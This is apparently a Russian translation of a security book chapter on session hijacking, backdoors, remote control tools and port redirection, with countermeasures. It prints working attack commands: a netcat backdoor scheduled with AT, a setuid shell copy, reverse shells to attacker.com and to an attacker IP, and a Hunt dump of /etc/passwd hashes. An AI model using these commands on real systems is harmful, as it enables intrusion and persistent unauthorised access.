Глава 14. Расширенные методы



Глава 14. РАСШИРЕННЫЕ МЕТОДЫ




1. Расширенные методы



Расширенные методы


В предыдущих главах уже были рассмотрены многие средства, используемые хакерами. Хотя мы и пытались систематизировать все стандартные инструменты, некоторые из них все же не укладываются в приведенную выше классификацию. В данной главе описываются несколько категорий таких средств, каждая в отдельном разделе: "Захват сеанса", "Потайные ходы", "Троянские кони" (троянский конь (Trojan horse) — это такая программа, которая под прикрытием некоторых полезных действий на самом деле скрытно выполняет совсем другие операции), "Разрушение системного окружения..." и "Социальная инженерия".
Из предыдущих глав отобран некоторый материал, имеющий отношение к рассматриваемой теме и, по нашему мнению, заслуживающий повторного обсуждения. В результате все рассматриваемые вопросы будут раскрыты более полно, освещая все категории программного обеспечения, типы платформ и технологии. В конце концов, при выборе своих целей злоумышленников ничто не в состоянии остановить.


2. Захват сеанса



Захват сеанса


Сетевые устройства поддерживают весь корпоративный поток сообщений. Каждое сообщение электронной почты, каждый файл, каждый номер кредитной карточки клиента передается по сети и обрабатывается этими устройствами. Очевидно, что обеспечение их безопасности является первоочередной задачей. Поэтому никогда нельзя исключать возможности, что сетевой трафик будет перехвачен злоумышленником. Ниже вы узнаете, как это можно осуществить с помощью так называемого захвата соединения TCP (TCP hijacking).
Такой подход стал возможным из-за наличия ошибок в протоколе TCP. Протоколы TCP/IP допускают внедрение в поток сообщений ложного пакета, позволяя тем самым запускать команды на удаленном узле. Однако этот тип взлома возможен только в сети с множественным доступом (этому вопросу посвящен раздел "Множественный доступ и коммутация пакетов" главы 10, "Сетевые устройства"), и для него нужно немного везения. С помощью программы Juggernaut или Hunt взломщик может попытаться "подсмотреть" передаваемые данные, а затем перехватить соединение.

Juggernaut



Одна из первых попыток применить на практике теорию захвата TCP была предпринята Майком Шиффманом (Mike Schiffman), в результате чего появился продукт Juggernaut (возможно, многие вспомнят Майка по его предыдущей программе. Появление этого бесплатного программного продукта оказалось революционным в том отношении, что с его помощью можно было "шпионить" за соединением TCP, а затем на некоторое время его захватывать. Это позволило взломщикам вводить команды в качестве легитимного пользователя. Например, если сетевые устройства используются в сети с множественным доступом, то взломщики могут отслеживать соединения, а затем перехватить сеанс telnet или ввести пароль для устройств Cisco.

Juggernaut
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step Down

Одной из лучших возможностей программы Juggernaut является функция simplex connection hijack (захват симплексного соединения). Эта возможность позволяет взломщику посылать команды в локальную систему. Применение режима interactive connection hijack (захват интерактивного соединения) всегда было затруднено, поскольку из-за большого потока сообщений АСК связь часто прерывалась. Однако зачастую возможности захвата симплексного соединения оказывается вполне достаточно. Она позволяет взломщику отправить, например, команду enable password О hello, которая выполнится на удаленном узле и отменит шифрование пароля.

Hunt



Утилита Hunt (ее можно найти на Web-узле http://www.cri.cz/-kra/index.html#HUNT) — это еще одна программа перехвата, отличающаяся стабильностью работы. Ее автор, Павел Крауз (Pavel Krauz) создал замечательную программу, которая наглядно демонстрирует недостатки протокола TCP.
Как и Juggernaut, программа Hunt позволяет взломщику легко следить за соединением и, таким образом, выведывать такую ценную информацию, как пароли. Как это происходит, видно из следующего примера.

--- Main Menu---rcvpkt 1498, free/alloc pkt 63/64 ---
1/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
> w
0) 172.29.11.207 [1038] -> 172.30.52.69 [23]
1) 172.29.11.207 [1039] -> 172.30.52.69 [23]
2) 172.29.11.207 [1040] -> 172.30.52.66 [23]
3) 172.29.11.207 [1043] -> 172.30.52.73 [23]
4} 172.29.11.207 [1045] -> 172.30.52.74 [23]
5) 172.29.11.207 [1047] -> 172.30.52.74 [23]
choose conn> 2
dump [s]rc/[d]st/[b]oth [b]> s
CTRL-C to break
uname -a su
hello
cat /etc/passwd

В процессе наблюдения за сеансом telnet в системе UNIX взломщик может получить ценную информацию, например (как видно из предыдущего примера) пароль пользователя root. Утилита Hunt предоставляет также возможность передачи команд на удаленный узел и их выполнения. Например, взломщик может передавать команды, а результат их выполнения будет отображаться только на его компьютере, что в значительной мере затрудняет его обнаружение.

---Main Menu--- rcvpkt 76, free/alloc pkt 63/64---
1/w/r) list/watch/reset connections u) host up tests
a)arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options x) exit > s
0) 172.29.11.207 [1517] --> 192.168.40.66
[23] choose conn>0
dump connection y/n [n]>n
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n [n]>
Enter the command string you wish executed or [cr]>
cat /etc/passwd cat /etc/passwd
root:rhayrl.AHfasd:0:1:Super-User:/:/sbin/sh daemon:x:
1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/
:adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/
uucp/uucicc listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:
No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/:
sm:a401ja8fFla.;:100:1::/export/home/sm:/bin/sh
[r]eset connection/[s]ynchronize/[n]one [r]>n
done

Как видно из приведенного примера, на удаленный узел может быть передана довольно коварная команда (cat /etc/passwd), а полученный результат отобразится лишь на компьютере взломщика.

Контрмеры против захвата соединений



Применение шифрующих коммуникационных протоколов, например IPSec или SSH, позволит значительно снизить или свести к нулю эффективность таких перехватов данных. Когда-то считалось, что технология сетей с коммутацией пакетов обеспечивает адекватную защиту от взломов подобного рода, но с тех пор средства сетевого мониторинга стали настолько хитроумными, что при определенных обстоятельствах они позволяют добиться желаемого результата (см. описание утилиты dsnif f в главе 8). Поэтому кодирование информации является самой лучшей защитой.


3. "Потайные ходы"



"Потайные ходы"


Если непрошеные гости обоснуются в системе, избавиться от них бывает трудно. Даже если брешь, которой они воспользовались, будет найдена и закрыта, злоумышленники могут обеспечить специальный механизм и быстро получить доступ в любое время. Такой механизм называется потайным ходом (back door).
Выявление и устранение такого потайного хода — задача почти неосуществимая, поскольку его можно создать самыми разнообразными способами. Единственной реальной возможностью восстановления системы после взлома является повторная установка операционной системы с исходных носителей и выполнение долгой и кропотливой работы по восстановлению пользовательских данных и приложений с проверенных резервных копий. При этом полное восстановление осуществить очень трудно, особенно, если система имела нестандартную конфигурацию, которая не была документирована.
В следующих разделах описаны основные механизмы, которые используются злоумышленниками для сохранения контроля над системой. Знание этих методов поможет администратору быстро идентифицировать такие вторжения и по возможности сократить трудоемкость процесса восстановления. Где это необходимо, мы представим подробное описание возможных подходов, однако в основном предполагается дать как можно более полный обзор популярных методов.

Создание фиктивных учетных записей



Почти каждому системному администратору известно, что учетные записи с правами суперпользователя — это такие ресурсы, которые легко защищать и контролировать. А вот учетные записи, равные по привилегиям суперпользователю, но имеющие неприметные имена, отследить намного труднее. Злоумышленник обязательно попытается создать такие учетные записи.

NT/2000



В Windows NT/2000 привилегированные локальные учетные записи легко создать с помощью следующих команд.

net user <имя_пользователя><пароль>/ADD
net localgrcup <имя_группы><имя_пользователя>/ADD

С помощью команды net group можно добавить пользователя в глобальную группу. Вспомните, что в системе NT есть отличие между локальной (содержащейся только в локальной базе данных SAM) и глобальной (из доменной базы данных SAM) группами. Встроенные локачьные группы обычно предоставляют более широкие возможности, поскольку с их помощью можно предоставлять различный уровень доступа к системным ресурсам. В операционную систему Win 2000 добавлены новые универсальные группы и локальные группы домена. По сути, эти понятия являются метадоменными, так как они могут быть членами любого домена, принадлежащего дереву или лесу.
Вывести список всех членов основных административных групп так же легко, как и добавить в них новую учетную запись. Как показано в следующем примере, в котором на экран выводится список членов группы Windows 2000 Enterprise Admins (администраторы предприятия), это можно сделать с помощью команды net [local] group.

C:\>net group "Enterprise Admins"
Group name Enterprise Admins
Comment Disighated administrators of the enterprise
Members
------------
Administrator
The command completed successfully.

В первую очередь нужно просмотреть встроенные группы: Administrators, Domain Admins, Enterprise Admins и Schema Admins (на контроллерах домена), а также различные локальные группы операторов.

UNIX



В системе UNIX фиктивные учетные записи создаются и идентифицируются аналогичным образом. Как правило создаются безобидные учетные записи с нулевыми значениями идентификаторов UID и GID. Следует проверить также учетные записи с таким же идентификатором GID, что и у пользователя root, а затем проверить совпадение свойств групп в файле /etc/groups. Кроме того, такие учетные записи легко выявить по содержимому файла /etc/passwd.

Novell



В системе NetWare типичным является создание "осиротевших" объектов, т.е. создание, например, контейнера с одним пользователем, а затем передача этому новому пользователю прав опекунства над родительским контейнером. Если взломщик имеет возможность постоянно регистрироваться в дереве NDS, то эту ситуацию не сможет исправить даже администратор. Более подробную информацию о "потайных ходах" системы NetWare можно найти в главе 7.

Загрузочные файлы



В предыдущих главах много говорилось о "потайных ходах", которые создаются с помощью механизмов загрузки, поддерживаемых различными платформами. Такой способ стал излюбленным методом злоумышленников, поскольку он позволяет устанавливать ловушки, которые активизируются при каждом перезапуске системы неосмотрительными пользователями.

NT/2000



В операционной системе Windows NT в первую очередь нужно проверить различные папки, находящиеся в папке Startup: %systemroot%\profiles\%username%\ start menu\programs\startup (папка All Users будет использоваться независимо от того, кто из пользователей зарегистрировался интерактивно). Кроме того, для запуска программ типа "троянский конь" или для установки "потайного хода" при каждом запуске системы взломщики могут воспользоваться параметрами системного реестра. Нужно проверить следующие параметры
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ 

  •  ...Run
  •  ...RunOnce
  •  ...RunOnceEx
  •  ...RunServices
  •  ...AeDebug 
  •  ...Winlogon

В этих параметрах хранятся данные многих из потенциально опасных программ. Например, программа Back Orifice 2000 (ВО2К; см. ниже) устанавливается как служба удаленного администрирования (Remote Administrator Service) в параметре RunServices.
Из предыдущих глав вы узнали, как можно создать "потайной ход" в системе NT с помощью драйверов устройств, загружающихся во время запуска системы. Драйвер пакета Invisible Keylogger Stealth (IKS) (iks.sys, конечно же, переименованный более подходящим образом) может быть скопирован в каталог %systemroot%\system32\ drivers. При этом программа будет запускаться вместе с ядром NT, благодаря чему на консоли пользователя этот процесс обычно остается невидимым. Программа также записывает несколько значений в системный реестр в HKLM\SYSTEM\Current-ControlSet\Services\iks (опять же, параметр iks может быть переименован взломщиком так же, как и сам файл драйвера). Если заранее сделать надежную резервную копию системного реестра (используя утилиту DumpReg компании Somarsoft), то можно легко выявить "следы присутствия" IKS. Просмотрев с помощью проводника Windows свойства драйвера IKS, можно также установить его происхождение.

Использование броузера Web для загрузки кода



Появление в мае 2000 года сценария ILOVEYOU, написанного на языке Visual Basic,  послужило свидетельством того, что есть и другие способы запуска исполняемого кода: это установка начальной страницы, загружаемой при запуске Web-броузера.
Сценарий ILOVEYOU модифицировал параметры Internet Explorer так, чтобы в качестве начальной использовалась страница, с которой загружался исполняемый файл с именем wiN-BUGSFlx.exe. Этот файл загружался с одного из четырех различных адресов URL, выбранных случайным образом на базе следующего общего шаблона.

http://www.skynet.net/-[переменная]/
[длинная_строка_с_ненужной_информацией]/
WIN-BUGSFlX.exe" 

Данный адрес URL содержался в параметре системного реестра HKSU\Software\ Microsoft\Internet Explorer\Main\-Start Page. Этот сценарий изменял также несколько параметров системного реестра, включая тот, который запускает загруженные двоичные файлы при перезагрузке системы (предполагалось, что к нему был указан путь), и тот, который удаляет первоначальную страницу запуска.



Рис. 14.1. В диалоговом окне Internet Explorer, содержащем предупреждающе сообщение, пользователь указывает, нужно ли загрузить файл на компьютер локально или запустить его с удаленного узла. Всегда устанавливайте режим Save this program to disk (сохранить программу на диске)!

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
HKCUXSoftware\Microsoft\Internet Explorer\Main\Start Page\about:blank

Конечно, в зависимости от степени доверчивости следующего пользователя, запускающего броузер, для выполнения этого файла перезагрузка может и не понадобиться. Последние версии Internet Explorer перед пересылкой определенных типов файлов, таких как исполняемые файлы . ЕХЕ и . СОМ, по умолчанию выводят на экран окно подтверждения. В зависимости от ответа пользователя на вопрос в диалоговом окне, показанном на рис. 14.1, данный файл может быть запущен сразу после начала работы Web-броузера.

Контрмера: не запускайте исполняемые файлы, найденные в Internet!



Должно быть понятно и без слов (хотя на протяжении многих лет это повторяется много раз): нужно быть предельно осторожным по отношению к исполняемым файлам, загружаемым из Internet. Запуск файлов с удаленного сервера — это путь, ведущий прямо к катастрофе. Вместо этого лучше загрузить их на свой компьютер локально, проверить на наличие вирусов, по возможности проанализировать содержимое (например, файлов сценариев или командных файлов), а затем протестировать их на какой-нибудь второстепенной системе.

UNIX



В системе UNIX взломщики часто помещают программы, предназначенные для создания "потайного хода", в файлы rc.d. Следует проверить каждый из таких файлов и убедиться, что в них не содержится ни одной незнакомой программы или такой, которая была бы недавно добавлена. Для внедрения ловушек может быть использован также файл inetd.conf. В этом файле находятся параметры демона inetd, суперсервера Internet системы UNIX, который при необходимости динамически запускает различные процессы, такие как FTP, telnet, finger и т.д. В этом файле также можно обнаружить подозрительные демоны.
Другим методом определения изменений в системных файлах систем UNIX или NT является использование программы Tripwire (http://www.tripwire.com). Коммерческая версия этой популярной программы может работать на многих платформах, включая Windows NT 4.0 SP3 и выше, Red Hat Linux 6.1 и Solaris 2.6 и 7. Эта программа создает сигнатуру каждого автономно хранящегося файла. |£сли файл был изменен без ведома его владельца, то программа Tripwire сообщит, когда и как в него были внесены изменения.

Novell



Файлы startup.ncf и autexec.ncf системы NetWare позволяют определить, какие программы, параметры и загружаемые модули системы NetWare (NLM — NetWare Loadable Module) будут запущены при загрузке сервера. Взломщики могут отредактировать один или несколько файлов . NCF, которые вызываются из этих загрузочных файлов (например, файл Idremote.ncf) и, таким образом, создать "потайной ход", например запустить хакерскую программу rconsole. Поэтому периодически проверяйте каждый загрузочный файл, чтобы не упустить момент создания взломщиками "потайного хода".
Загрузочные файлы — очень удобное, но далеко не единственное средство создания "потайного хода". Для этого подходят также очереди запланированных заданий. В системе Windows NT эта возможность обеспечивается службой Schedule, доступ к которой можно получить с помощью команды AT. Запланировав регулярный запуск требуемой программы, взломщики могут быть уверены, что нужная им служба будет всегда запущена и готова к работе.

Запланированные задания



Например, в системе Windows NT простой "потайной ход" можно реализовать, установив утилиту netcat, которая будет ежедневно запускаться в назначенное время.

C:\>at\\192.168.202/44 12:ООА /every:!
""nc -d -L -р 8080 -е cmd.exe"

Added a new job with job ID = 2

С помощью этой команды каждый день в полдень будет инициироваться новая программа прослушивания порта 8080. Злоумышленник сможет без проблем подключиться к целевому компьютеру с помощью утилиты netcat и получить в свое распоряжение командную оболочку, периодически удаляя ранее запущенные экземпляры netcat. Кроме того, можно воспользоваться также командным файлом, чтобы сначала проверить, запущена ли утилита netcat, а затем при необходимости осуществить ее запуск.
В системе UNIX планирование выполнения процессов осуществляется с использованием программы crontab. Она часто применяется для автоматизации трудоемкого процесса поддержки системы, но может быть использована также и для создания "потайных ходов". В большинстве систем UNIX файл crontab можно редактировать с помощью команды crontab -e, при этом данный файл будет открыт в определенном редакторе (который обычно задается с помощью переменных окружения VISUAL или EDITOR).
Чаще всего "потайной ход" можно создать в системе, в которой программа crontab запускается с правами суперпользователя и используется для вызова командных файлов. Если для этих командных файлов взломщик задаст права доступа, позволяющие редактировать их посторонним пользователям, то он сможет легко вернуться в систему в качестве обычного пользователя и сразу же получить привилегии root. В файле crontab это можно осуществить с помощью следующих команд.

ср /bin/csh /tmp/evilsh
chmod 4777 /tmp/evilsh

Контрмеры: защита от запланированных заданий



Для того чтобы предотвратить эту атаку в системе NT, с использованием команды at проверьте список заданий на предмет наличия в нем несанкционированных заданий.

С:\> at
Status ID Day Time Command Line
---------------------------------
0 Each 1 12:00 AM net localgroup administrators joel /add

Затем с помощью следующей команды завершите подозрительные процессы с идентификатором 0. 
C:\>at \\172.29.11.214 0 /delete
Альтернативный способ заключается в завершении работы службы с помощью команды net stop schedule, а затем запрещении ее запуска с помощью команды Control Panel>Services.
В системе UNIX представляющие опасность команды можно поискать в файлах crontab. Кроме того, проверьте права доступа, связанные с используемыми файлами и сценариями.

Удаленное управление



Вполне возможна ситуация, когда взломщик не сможет вернуться на целевой компьютер, даже обладая необходимыми регистрационными данными. Это может произойти, если некоторые служебные процессы сервера не выводят приглашения на регистрацию. Например, мало пользы от пароля root, если на взламываемом сервере отключены г-службы или telnet. Точно так же в системе Windows NT администратор по умолчанию получает очень ограниченные возможности удаленного управления. Поэтому первоочередная цель взломщика состоит в обеспечении механизмов повторного доступа.
В большинстве случаев все, что действительно нужно взломщику, — это удаленная командная строка. Ниже представлен обзор средств, с помощью которых достаточно просто получить удаленный доступ к командной оболочке. Кроме того, учитывая широкую распространенность операционных систем с графическим интерфейсом и предоставляемую ими простоту управления, вы познакомитесь с инструментами, которые окажутся полезными и в этом случае.
Контрмеры против средств удаленного управления приводятся в конце раздела, поскольку большинство из них можно применять для защиты от всех из описанных атак.

netcat



В этой книге ранее уже упоминался "швейцарский армейский нож", утилита netcat (ее версии как для системы NT, так и для UNIX можно найти по адресу http.//www. 10pht.com/~weld/netcat/index.html). С помощью этой программы можно незаметно прослушивать нужный порт, выполняя заранее определенные действия после установки удаленного соединения с системой. Утилита netcat окажется чрезвычайно мощным средством удаленного управления, если эти действия будут направлены на запуск командной оболочки. Затем злоумышленники могут подключиться с помощью netcat к заданному порту и получить в свое распоряжение командную оболочку. Команды запуска netcat в режиме прослушивания обычно скрытно помещаются в какой-нибудь загрузочный файл (см. предыдущий раздел), поэтому эта программа прослушивания портов будет активизироваться при каждой перезагрузке системы. Пример такого "потайного хода" показан на рис. 14.2, на котором виден параметр системного реестра Windows NT, приводящий к запуску утилиты netcat в процессе загрузки системы.

Сообразительные взломщики обязательно замаскируют своего "троянского коня" netcat. Для этого можно дать программе какое-нибудь нейтральное имя, например ddedll32.exe, или такое, что администратор дважды подумает, прежде чем удалит такой файл.

Параметр -L утилиты netcat дает возможность возобновить работу при многократном нарушении связи; при использовании ~d программа netcat запускается в скрытом режиме (без интерактивной консоли); а -е позволяет задать запускаемую программу, в данном случае командный интерпретатор NT cmd.exe. Параметр -р определяет прослушиваемый порт (в данном примере 8080). Версию программы netcat для системы UNIX можно легко настроить так. чтобы запускалась командная оболочка /bin/sh, что приведет к тому же результату. После этого взломщику останется только соединиться с портом, который прослушивается утилитой netcat, и получить в свое распоряжение удаленную командную оболочку.



Рис. 14.2. В системном реестре NT4 установлено, что в процессе загрузки системы будет загружаться утилита netcat

remote.exe (NT)



Утилиту remote из набора NTRK можно запустить в качестве сервера, чтобы командная строка возвращалась любому аутентифииированному пользователю NT, который подключился с помощью соответствующего удаленного клиента. Эту программу очень просто установить (нужно просто скопировать файл remote.exe в системный каталог, например %systemroot%). Поэтому зачастую ее использование предшествует последующей установке более опасных программ, таких как графические утилиты удаленного управления или программы-регистраторы нажатия клавиш. Более подробно утилита remote.exe описана в главе 5.

loki



Программы loki и lokid, кратко рассмотренные в главе 11. предоставляют взломщикам простой механизм повторного получения доступа к взломанной системе, даже если она расположена позади брандмауэра. Оригинальность этих программ заключается в том, что клиент (loki) помещает команды взломщика (в основном это пакеты IP) в заголовки ICMP или UDP и отсылает их серверу (lokid), который выполняет их и возвращает результаты. Поскольку многие брандмауэры допускают прохождение на сервер пакетов ICMP и UDP, то инициированный взломщиком трафик зачастую без проблем проходит через брандмауэр. Сервер lokid запускается с помощью следующей команды.
lokid -p -i v 1
Затем для запуска клиента нужно ввести такую команду. loki -d 172.29.11.191 -p -i -v 1 -t 3
Используемые совместно, утилиты loki и lokid обеспечивают постоянный "потайной ход" в систему, иногда даже через брандмауэр.

Back Orifice и NetBus



Хотя оба этих средства по своей природе являются графическими (NetBus даже предоставляет некоторые возможности по управлению рабочим столом), они главным образом удаленно вызывают функции программного интерфейса API. Так что лучше их расценивать их как инструменты создания "потайных ходов", предназначенные для выполнения удаленных команд, а не как графические утилиты удаленного управления. Возможности каждой из этих утилит описаны в главах 4 и 5. Здесь же мы лишь еще раз перечислим те места, в которых взломщики могут скрытно размещать эти средства, чтобы администраторам было легче их разыскать.
Сервер Back Orifice (ВО) можно настроить так, чтобы он устанавливался и запускался под любым именем (по умолчанию используется имя [пробел] ,ехе). При этом в параметр HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersicn\RunServices добавляется новая запись, так что сервер ВО будет запускаться каждый раз при загрузке системы и прослушивать порт 31337, если не задано другого значения. (Угадайте, почему выбран именно этот порт?)
Летом 1999 года вышла новая версия пакета Back Orifice. Back Orifice 2000 (BO2K. http://www.bo2k.com), обладающая всеми возможностями своей предшественницы, но с двумя примечательными особенностями. Его можно использовать в Windows NT/2000 (а не только Win 9.x), а, кроме того, имеется комплект инструментов разработчика, позволяющий создавать модификации программы, что значительно затрудняет ее обнаружение. По умолчанию программа ВО2К самостоятельно копируется в файл UMGR32.EXE каталога %systemroot% и прослушивает TCP-порт 54320 или UDP-порт 54321. При этом в списке процессов сервер ВО2К отображается под именем EXPLORER, что предотвращает попытки его удаления. Если программа работает в скрытом режиме, то она устанавливается в качестве службы с именем Remote Administration Service (служба удаленного администрирования) и в параметре системного реестра HKLM\SOFTWAREXMicrosoft\ Windows\CurrentVersion\RunServices содержатся соответствующие данные. При этом запуск "службы" выполняется при загрузке системы, л исходный файл удаляется. Все эти параметры легко изменить с помощью утилиты bo2kcfg.exe, которая входит в состав пакета.
Программа NetBus также является достаточно легко настраиваемой, и в Internet можно найти несколько ее версий. По умолчанию исполняемый файл сервера называется patch.exe, хотя он может иметь и любое другое имя. Для того чтобы это серверное приложение запускалось каждый раз при загрузке системы, в параметр HKEY_LCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Run помещается соответствующая запись. По умолчанию программой NetBus прослушивается порт TCP 12345 или 20034 (при желании эти значения также можно изменить).

Контрмеры: защита против Back Orifice (и других программ)



Попытки использования Back Orifice (а также служб FTP, telnet, SMTP, HTTP и т.д.) легко обнаружить, используя бесплатную утилиту фирмы Network Flight Recorder, которая называется BackOfficer Friendly (http://www.nfr.net/products/bof/). Эта программа с графическим интерфейсом работает в режиме прослушивания портов и сообщает обо всех попытках соединения с системой. Ее самой замечательной особенностью является режим Fake Replies (ложные ответы). При его использовании программа будет отвечать на telnet-запросы и записывать имена и пароли, с помощью которых взломщики пытаются получить доступ. Как видно из следующего рисунка, программа выполняет большую работу по отслеживанию попыток проникновения в систему.


Если известен пароль, то программу ВО2К можно легко удалить на удаленном компьютере. Для этого с помощью клиентского приложения нужно соединиться с сервером, в диалоговом окне раскрыть папку Server Control и выбрать команду Shutdown Server с параметром DELETE.

Перенаправление портов: реверсивный ceaнc telnet, netcat, datapipe, rinetd и fpipe



В предыдущих разделах некоторые команды удаленного управления, основанные на использовании командного процессора, описывались в контексте прямых соединений. Теперь рассмотрим ситуацию, когда прямому вмешательству в систему что-то препятствует, например прямой доступ блокируется брандмауэром. Изобретательные взломщики могут обойти эти препятствия с помощью перенаправления портов (port redirection).
Если взломщику удалось взломать брандмауэр, то с помощью перенаправления портов он сможет направить все пакеты на требуемый узел. Важно уяснить возможные последствия взломов этого типа, поскольку взломщик может получить доступ к любой системе, которая находится позади брандмауэра. Перенаправление функционирует по следующему принципу: ведется прослушивание определенных портов и перехваченные на них необработанные пакеты перенаправляются на нужный вторичный адрес. Ниже будут рассмотрены некоторые методы выполнения перенаправления портов вручную, используя такие утилиты, как telnet и netcat, а также такие специализированные средства перенаправления, как datapipe и rinetd.

Реверсивный сеанс telnet



Один из любимых взломщиками "потайных ходов" во взломанную систему может быть реализован с помощью демона telnet, входящего в комплект поставки многих версий UNIX. Так что эту программу даже не потребуется загружать. Мы называем этот способ реверсивный сеанс telnet, потому что в процессе его реализации утилита telnet используется для соединения с находящейся в режиме прослушивания утилитой netcat, запущенной на компьютере взломщика. Затем требуемые команды направляются на целевой узел, а результаты их выполнения — обратно.
Чтобы реализовать реверсивное соединение telnet, на своем компьютере сначала нужно запустить два экземпляра утилиты netcat, используя для этого две отдельные команды.

С:\> nc -w -1 -р 80
D:\> nc -w -1 -р 25

Затем на целевом узле следует использовать следующую команду UNIX,

sleep 10000 | telnet 172.29.11.191 80 |
/bin/sh | telnet 172.29.11.191 25

В результате входные данные с порта 25 с помощью конвейера будут переданы локальной командной оболочке (которая выполнит полученные команды), а результаты снова через конвейер будут перенаправлены обратно, на порт 80 компьютера взломщика.

Порты из предыдущего примера (80 и 25) используются стандартными службами (HTTP и SMTP соответственно). Поэтому обычно следующий через них поток сообщений свободно проходит через брандмауэр на многие внутренние узлы.

Захват командной оболочки с помощью утилиты netcat



Если на целевой компьютер можно поместить утилиту netcat, или если она там уже установлена, то можно воспользоваться аналогичным методом. Такой подход мы называем "захват командной оболочки", потому что его суть заключается в том, что на своем рабочем компьютере взломщик получает в полное распоряжение все функциональные возможности удаленной командной оболочки. Рассмотрим пример, когда в удаленной командной строке запускается следующая команда.

nс attacker.com 80 | cmd.exe | nс attacker.com 25

Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25 и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов для компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 14.3 показан экран компьютера взломщика, где в верхнем окне на порт 80 передается команда ipconf ig, а результаты ее выполнения направляются в порт 25 и отображаются в нижнем окне.



Рис. 14.3. Запустив утилиту netcat на компьютере взломщика (на рисунке показан его рабочий стол) и на целевом узле, можно "захватить" удаленную командную оболочку. Команды, которые вводятся в верхнем окне, выполняются на удаленной системе, а результаты их работы — в нижнем

datapipe



Реализация перенаправления портов с помощью утилиты netcat и ручная настройка этого процесса может оказаться довольно хлопотным делом. В Internet можно найти несколько программ, которые предназначены специально для этих целей. В системе UNIX очень популярна утилита datapipe. С ее помощью взломщик может обеспечить перенаправление данных так, чтобы пакеты принимались через порт 65000 и переадресовывались в систему NT (порт 139). Далее, на своем компьютере злоумышленник может настроить систему для выполнения прямо противоположных действий: запустить утилиту datapipe для прослушивания порта 139 и перенаправления сообщений на порт 65000 целевой системы. Например, для нападения на систему NT (172. 29.11.100), расположенную позади брандмауэра, на взломанном узле (172.29.11.2) нужно выполнить следующую команду.

datapipe 65000 139 172.29.11.100

Затем на собственном компьютере взломщику необходимо запустить утилиту datapipe для прослушивания порта 139 и пересылки полученных данных на порт 65000 взломанного узла.

datapipe 139 65000 172.29.11.2

Теперь через брандмауэр открыт доступ к системе NT (172.23.11. ICO). На рис. 14.4 показан пример реализации перенаправления портов и продемонстрирована эффективность этого метода. С помощью такого подхода можно обойти брандмауэры с фильтрацией пакетов, пропускающие сообщения, предназначенные для портов с большими номерами.

rinetd



Утилита rinetd — это "сервер перенаправления Internet", созданный Томасом Бутеллом (Thomas Boutell). Эта программа перенаправляет соединения TCP с одного IP-адреса и порта на другой. Таким образом, она. во многом похожа на программу datapipe. Программа работает как на базе интерфейса Win32 (включая Windows 2000), так и в системе Linux УТН..ПГ rinetd очень легко использовать: нужно просто создать конфигурационный файл, в котором указывается правило перенаправления. Этот файл имеет следующий формат

адрес_привязки порт_прмвязки адрес_соединения порт_соединения

Запустить программу можно с помощью команды rinetd -с <имя_конфигурационного_файла>. Так же как и datapipe, эта утилита может оказаться очень эффективной против неправильно настроенного брандмауэра.

fpipe



Утилита fpipe предназначена для передачи/перенаправления данных с порта TCP. Ее разработали авторы этой книги, занимающие ключевые позиции в компании Foundstone, Inc. Эта программа создает поток TCP. исходящий из выбранного пользователем порта. Она прекрасно подходит для перенаправления, представленного на рис. 14.4, и в системе Windows может послужить равноценной заменой программы datapipe, применимой только к UNIX.
Одна из особенностей утилиты fpipe, отличающих ее от других средств перенаправления портов, которые можно использовать в системе Windows (таких как rinetd), заключается в возможности задания исходного порта передаваемого трафика. Чтобы оценить "проникающую" способность этой программы, нужно попробовать "обмануть" с ее помощью брандмауэр или маршрутизатор, которые пропускают поток сообщений лишь с определенных портов (например, пакеты с TCP-порта 25 могут обрабатываться почтовым сервером). Обычно в протоколе TCP/IP исходным портам, используемым для клиентских соединений, назначаются большие номера, а соответствующий поток сообщений фильтруется брандмауэром. Однако может оказаться, что брандмауэр пропускает трафик DNS (а в большинстве случаев это именно так). Тогда с помощью утилиты fpipe можно обеспечить прохождение этого потока с определенного исходного порта. В такой ситуации брандмауэр рассматривает этот поток как разрешенный и пропускает его.



Рис. 14.4. Перенаправление портов

Пользователи должны знать, что, если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIME_WAIT и CLOSE_WAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой версии операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных IР-адреса/порта и удаленных IP-адреса/порта, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.

VNC



Рассмотренные ранее средства удаленного управления предоставляют возможность практически полного контроля над системой. Поэтому при одной только мысли о возможности получения в свои руки виртуального рабочего стола целевой системы у взломщиков учащается сердцебиение. Программа Virtual Network Computing (VNC) предоставляет именно такие возможности. Кроме того, этот программный продукт легко установить на "захваченной" системе и использовать ее как "потайной ход", обеспечивающий получение доступа впоследствии.
